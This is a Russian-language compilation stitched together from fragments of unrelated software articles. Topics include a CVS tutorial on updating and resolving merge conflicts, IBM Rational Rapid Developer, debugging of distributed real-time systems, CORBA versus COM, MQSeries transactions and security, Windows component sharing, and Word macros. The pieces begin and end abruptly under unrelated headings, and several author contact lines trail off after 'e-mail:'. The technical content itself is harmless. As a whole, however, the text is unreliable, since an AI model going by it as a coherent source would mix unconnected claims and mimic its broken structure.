    CVS хранит все изменения в данном проекте в дереве каталогов, называемом "репозиторием" (repository). Перед тем, как начать использовать CVS, вам необходимо настроить переменную среды CVSROOT так, чтобы она указывала на каталог репозитория. Тот, кто ответственен за управление конфигурацией вашего проекта, вероятно, знает, что именно должна содержать в себе эта переменная; возможно даже, что переменная CVSROOT уже установлена глобально. В любом случае, на нашей системе репозиторий находится в `/usr/src/master'. В этом случае вам следует ввести команды ` setenv CVSROOT /usr/src/master ' если ваш командный интерпретатор -- csh или порожден от него, или ` CVSROOT=/usr/src/master export CVSROOT если это Bash или какой-либой другой вариант Bourne shell. Если вы забудете сделать это, CVS пожалуется, если вы попытаетесь запустить его: $ cvs checkout httpc cvs checkout: No CVSROOT specified! Please use the `-d' option cvs [checkout aborted]: or set the CVSROOT environment variable. $

    Назначение

    IBM Rational Rapid Developer это новый продукт, официально представленный компанией IBM в текущем (2003) году. Основное его назначение - помогать разработчикам быстро создавать, развертывать и отлаживать комплексные и многоуровневые Интернет приложения, основанные на использовании широкого круга технологий J2EE. Продукт сочетает большие возможности визуального моделирования и автоматического конструирования приложений. Приложения, построенные с помощью Rapid Developer, являются надежными, масштабируемыми и безопасными. Что является очень важным, продукт предоставляет максимальные возможности по использованию в новых проектах уже существующих наработок, таких как UML модели, схемы баз данных, действующие бизнес-системы или подсистемы, системы обработки сообщений, Web сервисы и др.
    IBM Rational Rapid Developer позволяет создавать и вести единое проектное пространство для всей разрабатываемой системы во всех ее конфигурациях. С этой информационной системой пользователь сможет работать как с обычного компьютера (HTML доступ или Java приложение), так и с мобильных устройств с ограниченными функциональными возможностями (сотовые телефоны, карманные компьютеры, другие CDC или CLDC устройства). Например, с помощью Rational Rapid Developer легко спроектировать и реализовать обычный WAP-сайт, который позволит пользователю осуществлять доступ к Интернет-сайту с обычного мобильного телефона по протоколу WAP.


    Некоторые подходы к отладке распределенных приложений

    При отладке распределенного приложения в целом нужно представлять общее его состояние, которое включает структуры данных, распределенные по нескольким платформам. Кроме того, необходимо иметь протокол взаимодействия задач в системе. Взаимодействие задач, исполняемых на разных процессорах, можно протоколировать, используя вместо стандартных функции связи, передающие необходимую информацию менеджеру. Чем более полной является эта информация, тем проще менеджеру с ней работать, но тем большее влияние на работу системы оказывает сеанс отладки, в результате чего могут возникать новые динамические ошибки. В [9] описана система DARTS (Debug Assistant for Real-Time Systems). С ее помощью можно проводить полноценный сеанс отладки без наличия какой-либо отладочной информации в приложении. Для этого необходимо правильно сопоставить полученный от системы поток событий с исходными текстами приложения. Этот процесс происходит в 2 этапа: разбор исходных текстов и непосредственно само сопоставление. При разборе исходного текста для каждой задачи генерируется последовательность следующих программных элементов:
  • системные вызовы;
  • условные конструкции;
  • циклы;
  • вызовы функций, описанных в программе;
  • библиотечные вызовы. После трассировки приложения необходима полная информация для полученного потока событий с целью его дальнейшей отладки. Для этого происходит такое сопоставление:
  • системные вызовы сравниваются по именам и параметрам;
  • условная конструкция считается обнаруженной в протоколе, если присутствует один из вариантов;
  • цикл считается найденным, если он присутствует в протоколе 0 и более раз (каждый раз ищется максимальное число его вхождений);
  • программные вызовы идентифицируются по вхождению в протокол тела подпрограммы;
  • для каждой библиотечной функции строится набор возможных последовательностей системных вызовов. Функция считается присутствующей в протоколе, если обнаружена некоторая последовательность из ее характеристического набора. В результате получается набор гипотез о ходе выполнения приложения (включая вызовы функций, время и процессор).
    Информация может уточняться, если задавать некоторые интервалы выполнения (например, протоколирование выполнения конкретной задачи). После таких уточнений получаем символьную и строковую информацию о произошедших событиях. Еще один подход к отладке распределенных приложений предложен в [16]. Описанный там отладчик Ariadne позволяет проверять, произошла ли некоторая заданная для конкретной задачи последовательность событий. Механизм проверки осуществлен следующим образом. Сперва создается граф хода выполнения приложения, построенный на протоколе работы приложения. Затем пользователь задает цепи - последовательности событий, которые будут искаться в графе хода выполнения приложения. Следующим шагом является создание p-цепей - это цепи, для которых указаны конкретные задачи, где ожидается возникновение данной последовательности событий. В итоге формируется шаблон поиска - pt-цепи, которые представляют собой логические композиции p-цепей. Если в графе хода выполнения встречается pt-цепь, то считается, что запрос удовлетворен, и возвращается так называемое абстрактное событие - подграф, содержащий встретившиеся экземпляры событий. Эти экземпляры удаляются из графа хода выполнения, и анализ событий продолжается. Если все pt-цепи присутствуют в графе, то тест считается успешно завершенным. Ввиду асинхронности выполнения ошибка может состоять в том, что нарушен порядок возникновения абстрактных событий. Для локализации таких ошибок в Ariadne реализованы следующие соотношения между абстрактными событиями:
  • A предшествует B, если существует зависимость некоторого события из B от некоторого события из A;
  • A параллельно B, если события в A и в B независимы;
  • A перекрывает B, если существует как зависимость события из A от события из B, так и обратная зависимость. Проверка полученных абстрактных событий на соответствие этим соотношениям позволяет выявлять ошибки, связанные с асинхронностью. В [26] излагается способ отладки РСРВ посредством моделирования системы сетями Петри с временными ограничениями (timing constraint Petri nets, TCPN).


    TCPN - это граф ; где P - множество позиций; T - множество переходов; F - множество дуг, соединяющих позиции и переходы; C - множество целочисленных пар (TCmin(pt),TCmax(pt)), где pt может быть и позицией, и переходом; D - множество чисел FIRE(pt), обозначающих время срабатывания pt; и М - множество маркеров. Говорят, что переход t разрешен, если каждая из входных позиций содержит по крайней мере один маркер. Если к моменту Т0 переход t разрешен, то он может сработать в течении времени от Т0 + ТCmin(t) до T0 + TCmax(t). Переход t сработал успешно, если он продолжался не более FIRE(t) временных единиц, иначе происходит срабатывание других переходов. В случае, когда не срабатывает ни один из переходов, все маркеры остаются на своих местах. Таким образом локализуются ошибки в РСРВ. Одной из серьезных ошибок, связанных с работой распределенного приложения в системе реального времени, является недетерминированность. Ее суть заключается в том, что при разных запусках приложения при одних и тех же входных данных получаются разные результаты. В [8] описан подход к обнаружению недетерминированности в системах, использующих в качестве связи между задачами сообщения. В таких системах недетерминированность может быть вызвана либо задержками сообщений, либо сменой алгоритма планирования. Следует отметить, что в приложении может быть специально заложена некая недетерминированность, поэтому нужно такой случай выделять. Предлагается такая стратегия обнаружения ошибочной недетерминированности:
  • для каждого сообщения определяется некоторый идентификатор;
  • при получении сообщения идентификатор обрабатывается, и создается некоторая, специфическая для получившей задачи, интерпретация сообщения;
  • совершается проверка, удовлетворяет ли эта интерпретация некоторому порядку получения сообщений данной задачей. Такой подход позволяет обходить случаи встроенной недетерминированности путем определения одинаковой интерпретации для соответствующих сообщений.

    Некоторые выводы

    Итак, на сегодняшний день мы имеем средство, в полной мере использующее открытую архитектуру Delphi, позволяющее эффективно использовать модель данных в клиентских приложениях (в том числе и во время выполнения), экономя силы и время при модернизации и сопровождении информационной системы. Конечно, использование такого средства может иметь некоторые отрицательные последствия. Например, если модель данных хранится на сервере, число обращений к серверу с целью обращения к ней может оказаться достаточно велико. Но, возможно, этот фактор во многих случаях окажется менее важен, чем эффективность разработки и модернизации информационной системы и возможность комплексного использования средств проектирования баз данных, особенно в случае сжатых сроков выполнения проектов. Задать вопросы о MetaBASE и получить trial-версию этого продукта можно в компании Interface Ltd, авторизованном учебном центре Logic Works и Borland, по телефонам (095)135-55-00, 135-25-19, e-mail:

    New Insight Technologies for Maximum Productivity and Ease-of-Use

    Delphi 3 позволяет сосредоточиться на проблемах бизнеса предприятия и проблемах его развития. Созданные, чтобы помочь разработчикам сфокусироваться на решаемых ими проблемах предметной области, ActiveInsight, BusinessInsight и CodeInsight представляют собой новые технологии для быстрого создания элементов управления ActiveX, систем поддержки принятия решений, автоматизации программирования. "Возрастающая продуктивность Delphi 3 выгодна как индивидуальным разработчикам, так и целым организациям", - заявил Джон Адамс (John Adams), главный консультант Arthur Andersen's Advanced Technology Group. - "Новые технологии Insight изменили мои методы создания приложений как для моих личных проектов, так и для нужд предприятий моих клиентов."

    Независимость от операционной системы

    Flora/C+ разработана с применением специальных технологий, в частности, использована технология микроядра (системозависимых кодов) и метод раскрутки (разработка). Эти технологии обеспечили полную независимость Flora/C+ и её приложений от операционных систем и платформ, на которых они исполняются.

    О синхронизации процессов в среде Windows

    - Запасайтесь, дьяволы, гробами, сейчас стрелять буду.
    М. Зощенко. Нервные люди
    Статья "О бильярде с Microsoft C++ 5.0" [1] положила начало знакомству с практическим применением технологии конечных автоматов в рамках Visual C++. В этой технологии особое внимание уделяется параллельным процессам, в основе которых на уровне единичного процесса (программа, оператор, объект и т.п.) лежит модель конечного автомата (КА), а на уровне множества процессов - сетевая автоматная модель. В статье [1] рассматривались представленные объектами-мячиками независимые параллельные процессы. Здесь мы обсудим взаимодействие и синхронизацию процессов на примере известной задачи Майхилла об одновременной стрельбе [2], превратив безобидные мячики в пули и добавив к ним стрелков. Задача Майхилла - еще один (наряду с задачей RS-триггера [3]) пример решения нетривиальных проблем создания сложных систем. Справившись с ней, мы научимся организовывать взаимодействие параллельно работающих компонентов сложных программных комплексов в жестких условиях.

    Об авторe

    Николай Игнатович - эксперт компании IBM. С ним можно связаться по электронной почте по адресу:
    Вячеслав Селиверстович Любченко - программист, в "Мире ПК" опубликован ряд его статей. Е-mail:


    Джеффри Воас (Jeffrey Voas) - работает в компании Reliable Software Technologies. С ним можно связаться по эл. почте: Jeffrey Voas, "Software Quality`s Eight Greatest Myths", - IEEE Software, September/October 1999, pp. 118-120. Reprinted with permission, Copyright IEEE, 1999. All rights reserved.

    Объединение изменений

    Так как каждый разработчик использует свой собственный рабочий каталог, изменения, которые вы делаете в своем каталоги, не становятся автоматически видимыми всем остальным в вашей команде. CVS не публикует изменений, пока они не закончены. Когда вы протестируете изменения, вы должны "зафиксировать" (commit) их в репозитории и сделать их доступными остальным. Мы опишем команду cvs commit далее. Однако, что если другой разработчик изменил тот же файл, что и вы, и, может быть, даже изменил те же самые строки? Чьи изменения будет использованы? Обычно ответить на этот вопрос автоматически невозможно, и CVS совершенно точно некомпетентен, чтобы принимать такие решения. Поэтому перед тем, как фиксировать ваши изменения, CVS требует, чтобы исходные тексты были синхронизированы со всеми изменениями, которые сделали остальные члены группы. Команда cvs update позаботится об этом: $ cvs update cvs update: Updating . U Makefile RCS file: /u/src/master/httpc/httpc.c,v retrieving revision 1.6 retrieving revision 1.7 Merging differences between 1.6 and 1.7 into httpc.c M httpc.c $ Рассмотрим пример строка за строкой: `U Makefile' Строка вида `U файл' означает, что файл просто был обновлен; кто-то еще внес в этот файл изменения, и CVS скопировал измененный файл в ваш рабочий каталог. `RCS file:... retrieving revision 1.6 retrieving revision 1.7 Merging differences between 1.6 and 1.7 into httpc.c' Это сообщение означает, что кто-то еще изменил `httpc.c'; CVS объединила их изменения с вашими и не обнаружила текстуальных конфликтов. Цифры `1.6' и `1.7' -- это номера редакции (revision numbers), используемые для обозначения определенных точек истории файла. Заметьте, что CVS объединяет изменения только в вашей рабочей копии; репозиторий и рабочие каталоги других разработчиков остаются нетронутыми. От вас требуется протестировать объединенный текст и убедиться, что он верен. `M httpc.c' Строка вида `M файл' означает, что файл был модифицирован вами и содержит изменения, которые еще не стали видны другим разработчикам. Это -- изменения, которые вам следует зафиксировать. Так как CVS объединила чьи-то еще изменения с вашими исходными текстами, следует убедиться, что они все еще работают: $ make gcc -g -Wall -lnsl -lsocket httpc.c -o httpc $ httpc GET http://www.cyclic.com ...HTML text for Cyclic Software's home page follows... $

    Объектно-ориентированное окружение

    На всех стадиях жизни приложения. во время разработки, отладки, тестирования и исполнения на компьютере пользователя, его форма существования. дерево взаимодействующих между собой и с внешним миром объектов, сохраняется неизменным. Какие-либо этапы перехода приложения из стадии разработки в стадию исполнения концептуально отсутствуют. Свойства дерева объектов приложения сохраняются даже в процессе исполнения и могут быть доступны в том же виде, в котором они были созданы разработчиком.

    Объектные модели

    Итак, в моделях CORBA и COM клиент получает обслуживание от сервера объекта, запрашивая метод, заданный в интерфейсе объекта. Важной характеристикой обеих технологий является четкое разграничение интерфейсов, которые - суть абстрактный набор связанных методов, и конкретных реализаций этих методов. Клиенту доступно описание интерфейса объекта, через которое он получает доступ к методам, то есть функциональности данного объекта. Детали реализации методов от клиента полностью изолированы. Метод вызывается по ссылке, и реальные действия выполняются в адресном пространстве объекта. Однако за этим фундаментальным сходством начинаются значительные различия между конкретным воплощением в двух моделях понятий объектов, интерфейсов, вызова по ссылке и т.д. На них и остановимся. В CORBA интерфейс объекта задается с помощью определенного OMG языка описания интерфейсов (Interface Definition Language, IDL). Тип объекта - это тип его интерфейса. Интерфейс идентифицируется именем, представленным цепочкой символов. В модели CORBA определен базовый тип для всех объектов - CORBA::Object. Объект поддерживает тип своего непосредственного интерфейса и, по принципу наследования, все его базовые типы. В СОМ объект характеризуется своим классом. Класс - это реализация некоторого множества интерфейсов. Множественное наследование интерфейсов не поддерживается, вместо этого объект может иметь несколько интерфейсов одновременно. В СОМ интерфейс может определяться путем наследования другого интерфейса. Для всех интерфейсов существует базовый интерфейс - IUknown. Для того чтобы перейти от интерфейса базового типа к унаследованному интерфейсу или от одного из интерфейсов объекта к другому, клиент должен вызывать метод QueryInterface, определенный в базовом интерфейсе IUknown. Интересно отметить, что возможность описания нескольких интерфейсов для одного объекта должна появиться теперь и в CORBA; анонсированная в сентябре прошлого года версия CORBA 3.0 в числе важных нововведений содержит и концепцию Multiple Interface [3]. Для идентификации классов и интерфейсов СОМ используются те же универсальные уникальные идентификаторы (UUID), которые приняты для идентификации интерфейсов в спецификации DCE RPC.
    Можно применять и символьные обозначения интерфейса, но затем они должны быть транслированы в надлежащий идентификатор UUID. Объект в СОМ - это экземпляр класса. Клиент получает доступ к объекту с помощью указателя на один из его интерфейсов (interface pointer). Связь между классом и множеством поддерживаемых им интерфейсов достаточно произвольна. Не существует заранее заданного отношения между идентификатором класса и конкретным набором интерфейсов, и разные экземпляры класса могут поддерживать разные подмножества интерфейсов. Идентификатор класса ссылается на конкретную реализацию, и фактический набор интерфейсов для данной реализации становится окончательно известен только на стадии выполнения. Все эти особенности вытекают из существа модели СОМ, которая реализует интеграцию объектов на уровне двоичных кодов. Двоичное представление интерфейса объекта в СОМ идентично виртуальной таблице функций языка Си++. Клиент имеет доступ к интерфейсу посредством указателя на такую таблицу, а все детали реализации скрыты от него. Поэтому можно прозрачно для пользователя вносить изменения в реализацию объекта, если при этом не меняется интерфейс. Заимствованная из Си++ модель интеграции на двоичном уровне с помощью таблиц функций имеет как свои плюсы, так и минусы. Невидимая пользователю возможность замены реализаций объектов и высокая эффективность вызовов методов в пределах одного адресного пространства по аналогии с вызовом виртуальной функции в С++ - очевидные положительные стороны такой модели. С другой стороны, интеграция на уровне двоичных кодов возможна только на одной аппаратно-операционной платформе. Невозможность множественного наследования интерфейсов в СОМ - следствие использования таблиц функций. Интерфейс представляется указателем на одну таблицу, а множественное наследование повлекло бы за собой связь конкретного интерфейса с несколькими таблицами, то есть понадобилось бы несколько указателей для одного интерфейса. В СОМ принята более громоздкая, по сравнению с CORBA, структура логических связей объекта и его интерфейсов. Конечно, определение интерфейсов с помощью двоичных таблиц не зависит от конкретного языка программирования.


    Но поддержка различных языков должна опираться на механизм вызовов виртуальных функций, который непосредственно применим только к Си++, а для всех остальных языков будет подвергаться определенной предварительной обработке. Поэтому по числу поддерживаемых языков СОМ уступает CORBA, в которой предусмотрен гибкий механизм отображения описаний интерфейсов в терминах IDL в соответствующие структуры того или иного языка программирования. Различие между языками IDL по версии OMG и Microsoft - одно из наиболее значительных для двух объектных моделей. В CORBA язык описания интерфейсов - важнейшая часть архитектуры, основа схемы интеграции объектов. Все интерфейсы и типы данных определяются на IDL. Различные языки программирования поддерживаются благодаря заданным отображениям между описаниям типов данных на IDL в соответствующие определения на конкретном языке. CORBA IDL задает определения, которые могут отображаться в множество различных языков, не требуя при этом никаких изменений от целевого языка. Эти отображения реализуются компилятором IDL, который генерирует исходные коды на нужном языке. В настоящий момент поддерживается отображение в Си, Си++, SmallTalk, Ada95, Visual Basic, Кобол Cobol и Java. Сам IDL синтаксически напоминает декларации типов в Си++, но отнюдь не идентичен этому языку. Если в модели интеграции объектов CORBA язык IDL играет фундаментальную роль, то Microsoft IDL (MIDL) - лишь один из возможных способов определения интерфейсов объекта. В спецификации СОМ подчеркивается, что эта модель реализует интеграцию на двоичном уровне, поэтому все спецификации и стандарты, относящиеся к уровню исходных текстов компонентов, к которым следует причислить и MIDL, рассматриваются как вспомогательные и не могут оказывать решающего влияния на общую архитектуру системы. MIDL - не более чем полезный инструментарий для написания интерфейсов. В отличие от CORBA IDL, MIDL, являющийся расширением DCE RPC IDL, не определяет общего набора типов данных, доступных различным языкам программирования.


    На MIDL можно определить интерфейсы и типы данных, которые поймут программы на Си и Си++, но для Visual Basic и Java этого уже сделать нельзя. Проблему частично обещает решить новая спецификация СОМ+, которая предоставит возможности встраивания средств определения СОМ-интерфейсов в инструментарий для языков типа Visual Basic и Visual C++. Обе объектные модели предусматривают ситуацию, когда у клиента уже в процессе выполнения программы возникает потребность использовать те или иные объекты. В этом случае у клиента не будет скомпилированных команд для вызова методов, поскольку интерфейс объекта не был известен на этапе компиляции. Поэтому ему потребуются специальные интерфейсы динамического вызова. В CORBA механизм DII (Dynamic Invocation Interface) опирается на Interface Repositоry, который содержит написанные на IDL определения типов данных и интерфейсов. Конкретная реализация такого репозитария зависит от разработчика брокера объектных запросов ORB. Помимо динамических вызовов, репозитарий интерфейсов в CORBA может использоваться для систематической организации и хранения данных определенного проекта. В СОМ те же функции выполняют интерфейс Dispatch и библиотеки типов Type Libraries. CORBA и СОМ абсолютно по-разному подходят к проблемам идентификации (identity) объектов и их сохранения в долговременной памяти (persistance). CORBA вводит понятие объектной ссылки (object reference), которая уникальным образом идентифицирует объект в сети. Тем самым экземпляру объекта дается право на существование в течение некоторого времени. Объекты могут активироваться, сохраняться в долговременную память, позже вновь реактивироваться и деактивироваться, и при этом объектная ссылка будет указывать все время на одно и то же конкретное воплощение объекта. Для особо значимых объектов, предназначенных для длительного использования, объектные ссылки могут интегрироваться со службой каталогов или службой имен. Механизм долговременного хранения, то есть сохранения состояния объекта в долговременной памяти для дальнейшей его реактивации, в CORBA абсолютно прозрачен для клиента.


    Клиент не имеет никаких легальных средств обнаружить: куда и каким образом сохраняется экземпляр объекта. Такой подход соответствует концепции сокрытия деталей реализации объекта от клиента. В СОМ понятие объектной ссылки отсутствует. Ближайший аналог - это механизм moniker ("кличка"), обеспечивающий преобразование символьного имени объекта в указатель интерфейса. Этот механизм действует для тех объектов, которые сохраняются в долговременной памяти. Два же активных объекта считаются идентичными, если для них совпадают указатели на интерфейс IUknown. Для долговременного хранения в СОМ поддерживаются две модели. Первая и изначальная модель предоставляет клиенту возможность управлять хранением объекта. В интерфейсе объекта, предназначенного для долговременного хранения, поддерживаются возможные типы носителей. Если необходимо восстановить объект из долговременной памяти, клиент явным образом указывает, где был сохранен экземпляр объекта и запрашивает его активацию. Однако, такая модель эффективна, скорее всего, только в настольной среде или в небольшой локальной сети, где управление хранением документов, к примеру, может быть доверено пользователю файловой системы. Другой, более поздний вариант сохранения в долговременную память в СОМ предусматривает использование Microsoft Transaction Server (MTS), который обеспечивает управление хранением со стороны сервера.

    Обеспечение целостности данных и синхронизации изменений

    MQSeries - это транзакционное программное средство, которое может объединять группу операций по посылке и приему сообщений в единую транзакцию. Прикладная программа помечает часть своих получаемых и отравляемых сообщений специальной опцией - "участвующие в транзакции". До момента выполнения приложением команды на завершение транзакции MQCMIT, посланные им сообщения фактически "невидимы" для других приложений, а полученные реально не удаляются из очередей. В случае выполнения приложением команды на откат транзакции (MQBACK), очереди восстанавливаются к состоянию на начало транзакции. Менеджер очередей MQSeries может играть роль менеджера ресурсов, поддерживающего XA интерфейс, а может участвовать в распределенной транзакции под управлением таких мониторов транзакций как CICS, Encina, Tuxedo. Продукты MQSeries, начиная с версии 5, сами могут быть координаторами распределенных транзакций с двухфазной фиксацией.

    Обеспечение необходимой защиты передаваемых данных

    Для обеспечения безопасности при использовании приложениями системы очередей сообщений необходимо знать, какое приложение послало то или иное сообщение: отслеживать, кто получает данное сообщение; обеспечивать идентификацию удаленных менеджеров, а также контролировать выполнение административных команд. Сама по себе система MQSeries не имеет собственных специальных модулей шифрования сообщений, но зато позволяет подсоединять внешние компоненты обеспечения безопасности. Административные команды и доступ к объектам менеджера очередей. MQSeries позволяет контролировать исполнение административных команд и доступ к объектам менеджера очередей - к самому менеджеру и очередям. На большинстве платформ имеется менеджер безопасности, который позволяет определить и разграничить доступ к объектам. Кроме того, поскольку MQSeries предоставляет документированный интерфейс для управления функциями безопасности, можно создать собственный менеджер безопасности. Безопасность в каналах передачи сообщений. Для защиты информации, которую передают друг другу менеджеры очередей, MQSeries поддерживает возможности подключения специально разрабатываемых модулей. Например, два менеджера очередей, устанавливающих связь по каналу, могут с помощью дополнительных программ опознать друг друга. Кроме того, сообщения, передаваемые по каналу, могут шифроваться перед передачей и расшифровываться при приеме. Безопасность приложений. Интерфейс MQI предоставляет приложениям средства идентификации себя (приложения и платформы) и пользователя. Идентификационная информация содержится в заголовке сообщения, передается вместе с ним и только привилегированные приложения могут ее изменять. Приложения могут использовать эту информацию для дополнительной проверки получаемых сообщений.

    Обработка конфликтов

    Как уже упоминалось, команда `cvs update' объединяет изменения, сделанные другими разработчиками, с исходными текстами в вашем рабочем каталоге. Если вы отредактировали файл одновременно с кем-то другим, CVS объединит ваши изменения. Довольно легко представить себе, как работает объединение, если изменения были совершены в разных участках файла, но что если вы оба изменили одну и ту же строку? CVS называет эту ситуацию конфликт и предоставляет вам самому разобраться с ним. Например, предположим, что вы добавили некую проверку на ошибки в код, определяющий адрес сервера. Перед фиксированием изменений вы должны запустить `cvs update', чтобы синхронизировать ваш рабочий каталог с репозиторием: $ cvs update cvs update: Updating . RCS file: /u/src/master/httpc/httpc.c,v retrieving revision 1.8 retrieving revision 1.9 Merging differences between 1.8 and 1.9 into httpc.c rcsmerge: warning: conflicts during merge cvs update: conflicts found in httpc.c C httpc.c $ В этом случае другой разработчик изменил тот же участок файла, что и вы, поэтому CVS жалуется на конфликт. Вместо того, чтобы напечатать M httpc.c, как это обычно происходит, CVS печатает C httpc.c, что означает наличие конфликта в этом файле. Чтобы справиться с конфликтом, откройте этот файл в редакторе. CVS обозначает конфликтующий текст так: /* Look up the IP address of the host. */ host_info = gethostbyname (hostname); <<<<<<< httpc.c if (! host_info) { fprintf(stderr, "%s: host not found: %s\n", progname, hostname); exit(1); } ======= if (! host_info) { printf("httpc: no host"); exit(1); } >>>>>>> 1.9 sock = socket (PF_INET, SOCK_STREAM, 0); Текст вашего рабочего файла появляется сверху, после символов <<<. Внизу находится конфликтующий код другого разработчика. Номер редакции 1.9 указывает, что конфликтующее изменение было внесено в версии 1.9 этого файла, упрощая проверку журнальных записей или просто выяснение изменений с помощью `cvs diff'. Когда вы решите, как именно справиться с конфликтом, уберите маркеры из кода и отредактируйте его.
    В этом случае, так как ваша обработка ошибок определенно лучше, то просто отбросьте чужой вариант, оставив такой код: /* Look up the IP address of the host. */ host_info = gethostbyname (hostname); if (! host_info) { fprintf(stderr, "%s: host not found: %s\n", progname, hostname); exit(1); } sock = socket (PF_INET, SOCK_STREAM, 0); Теперь протестируйте изменения и зафиксируйте их: $ make gcc -g -Wall -Wmissing-prototypes -lnsl -lsocket httpc.c -o httpc $ httpc GET http://www.cyclic.com HTTP/1.0 200 Document follows Date: Thu, 31 Oct 1996 23:04:06 GMT ... $ httpc GET http://www.frobnitz.com httpc: host not found: www.frobnitz.com $ cvs commit httpc.c Важно понимать, что именно CVS считает конфликтом. CVS не понимает семантики вашей программы, он обращается с исходным кодом просто как с деревом текстовых файлов. Если один разработчик добавляет новый аргумент в функцию и исправляет все ее вызовы, пока другой разработчик одновременно добавляет новый вызов этой функции, и не передает ей этот новый аргумент, что определенно является конфликтом -- два изменения несовместимы -- но CVS не сообщит об этом. Его понимание конфликтов строго текстуально. На практике, однако, конфликты случаются редко. Обычно они происходят потому, что два человека пытаются справиться с одной и той же проблемой, от недостатка взаимодействия между разработчиками, или от разногласий по поводу архитектуры программы. Правильной распределение задач между разработчиками уменьшает вероятность конфликтов. Многие системы контроля версий позволяют разработчику блокировать файл, предотвращая внесение в него изменений до тех пор, пока его собственные изменения не будут зафиксированы. Несмотря на то, что блокировки уместны в некоторых ситуациях, это не всегда подход лучше, чем подход CVS. Изменения обычно объединяются без проблем, а разработчики иногда забывают убрать блокировку, в обоих случаях явное блокирование приводит к ненужным задержкам. Более того, блокировки предотвращают только текстуальные конфликты -- они ничего не могут поделать с семантическими конфликтами типа вышеописанного -- когда два разработчика редактируют разные файлы. Footnotes Интересно, почему это вообще не -u? Прим.перев. Все же лучше использовать -u. Прим. перев.

    Общая компонентная модель

    Система состоит из трех частей: клиентское приложение (GUI или Web), сервер приложений и источник данных (СУБД, XML и т.д.). Идеология системы строится на трех вещах: фактах, метамодели и безопасности. Факты- это так называемые бизнес-объекты из предметной области, с которой будет работать система. Метамодель - это описание этих бизнес-объектов. Безопасность - это описание прав доступа к фактам и метамодели. Диаграмма пакетов системы изображена на рис. 1.1. Следует обратить внимание на функциональную значимость метамодели в этой системе. Обычно при реализации большого количества типов бизнес-объектов (фактов) для каждого факта ставится в соответствие класс. Для того, чтобы повысить степень повторного использования и упростить механизм поддержки большого числа типов фактов в системе, следует для всех фактов выделить всего один или два класса, а структуру фактов описать в метамодели. Таким образом, при изменении структуры фактов не нужно будет менять исходные коды, а достаточно будет поправить информацию в источнике данных, например СУБД, откуда берет данные метамодель. Общая компонентная модель Рис. 1.1 Диаграмма зависимости между пакетами Клиентская часть состоит из 10 пакетов. Пакет view отвечает за ее внешний вид. Пакет mediator сопрягает виды приложения. Пакет model отвечает за внутреннее представление данных приложения. Пакет controller содержит классы, работающие с моделью данных приложения. Пакет model.fact представляет структуры фактов, которыми обменивается клиентское приложение с сервером приложений. Пакет model.meta представляет структуры описывающих факты, т.е. метамодель, которыми обменивается клиентское приложение с сервером приложений. Пакет model.security представляет структуры, описывающие безопасность доступа к фактам и метамодели, которыми также обменивается клиентское приложение с сервером приложений. Пакеты source.fact, source.meta и source.security отвечают за взаимодействие между клиентским приложением и сервером приложений и поддерживают между ними обмен фактами (model.fact), метаданными (model.meta) и безопасностью (model.security) не зависимо от используемой разработчиком распределенной технологии.
    Другими словами, на основе них следует делать стабы (stub) [2]. Сервер приложений состоит из 9 пакетов. Пакеты model.fact, model.meta, model.security такие же, как на стороне клиентского приложения. Они служат value-объектами обмена информацией между сервером приложений и клиентским приложением. Пакеты source.fact, source.meta и source.security на стороне сервера отвечают за взаимодействие между клиентским приложением и сервером приложений. Другими словами, на основе них следует делать скелетоны (skeleton) [2]. Пакет server.datasource отвечает за поддержку разных типов источников данных, в которых хранятся факты. Пакет server.factdao отвечает за взаимодействие с фактами для разных типов источников данных. Пакет server.kernel управляет функционированием сервера приложений, связывая воедино все пакеты серверной части. В роли источника данных, как уже говорилось, может выступать СУБД или другое решение для доступа и хранения данных. Скорость работы с источником естественно зависит от его типа. В пакете server.factdao скорость можно поднять, например, за счет стратегии кэширования.

    Общая проблема модели Windows-приложений

    На самом деле описанная выше проблема отнюдь не определяется особенностью VB - эта общий вопрос для всех современных Windows-приложений. Она является следствием реализации компонентной модели при создании программ. (Речь идет о понимании "компонентов" в широком плане, как любых автономных файлов, а не в конкретной архитектуры типа COM или CORBA). Суть такой модели - использование одних и тех же копий общих компонентов для различных приложений. При этом решаются две очень важные задачи - минимизация объемов программ и повышение управляемости программной системой в целом (в частности, файл с ошибкой нужно заменить в одном месте, а не во всех программах). Первым примером такого глобального компонента является сама операционная система Windows, куда постепенно перетекают многие элементы прикладных программ, например в виде наборов WAPI. Одним из результатов этого стало то, что прикладная программа стала фактически приложением к Windows (вот такая версия смены терминов!), его функциональным расширением, потеряв автономность, которая была ей присуща во времена DOS. Однако "плюсы" не бывают без "минусов" и последние довольно сильно проявляются по мере усложнения Windows-систем. Прежде всего, теоретическая предпосылка об обязательной совместимости версий компонентов "снизу-вверх" на практике реализуется с большим трудом, особенно когда они вообще создаются разными разработчиками (такое редко, но бывает). Тем более известно, что каждая новая версия исправляет старые ошибки, но добавляет новые, которые могут оказаться критичными для уже имеющихся программ. Не очень приятным моментом является рост требований к ресурсам со стороны новых версий компонентов при том, что их новые функции для старых программ не нужны. Разделение программных компонентов на общие и локальные вызывает трудности в решении двух вопросов:
  • какие компоненты входят в состав данного приложения?
  • какие приложения реально используют данный компонент? В этой связи представляется, что одним из не очень удачных решений в Windows является автоматическое объявление OCX и многих DLL общими элементами и помещение их в один системный каталог SYSTEM.

    Общие замечания.

    Проще всего создать макрос с помошью команды Сервис->Макрос->Начать запись. Все действия пользователя до нажатия кнопки Стоп записываются в макрос и воспроизводятся при запуске этого макроса. Такой способ не позволяет организовывать циклы и выдавать сообщения пользователю, поэтому для написания полноценной программы необходимо отредактировать записанный макрос. Для этого в Word 6.0 и 7.0 необходимо выбрать команду Сервис ->Макрос-> Изменить. (Сервис->Макрос->Редактор VisualBasic в Word97). Полное описание команд WordBasic поставляется вместе с Word, но не устанавливается по умолчанию. Если Вы не можете отыскать этот раздел в Вашей справочной системе, значит необходимо установить его с дистрибутивного диска Word.

    Обзор

    В отличие от других отраслей, разработка программного обеспечения требует, чтобы прикладные модули были скомпилированы и слинкованы с другими зависимыми частями приложения. Всякий раз, когда разработчик хочет использовать в приложении другую логику или новые возможности, для того, чтобы эти изменения вступили в силу, ему или ей необходимо модифицировать и перекомпилировать первичное приложение.
